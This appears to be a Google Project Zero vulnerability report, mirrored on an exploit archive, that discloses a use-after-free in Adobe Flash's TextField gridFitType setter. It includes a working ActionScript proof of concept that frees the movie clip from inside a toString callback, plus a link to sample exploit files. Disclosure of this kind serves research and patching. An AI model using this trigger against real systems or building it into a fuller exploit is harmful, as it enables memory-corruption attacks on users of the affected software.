Source: https://code.google.com/p/google-security-research/issues/detail?id=559

There is a use-after-free in the TextField gridFitType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

A PoC is as follows:

var toptf = this.createEmptyMovieClip("toptf", 1);


function func(){

	toptf.removeMovieClip();
	trace("here");
	return "none";
}

var o = {toString : func};


var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";

var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = "advanced";
my_text1.gridFitType = o;
my_text1.setTextFormat(my_format);

var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format);

var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39020.zip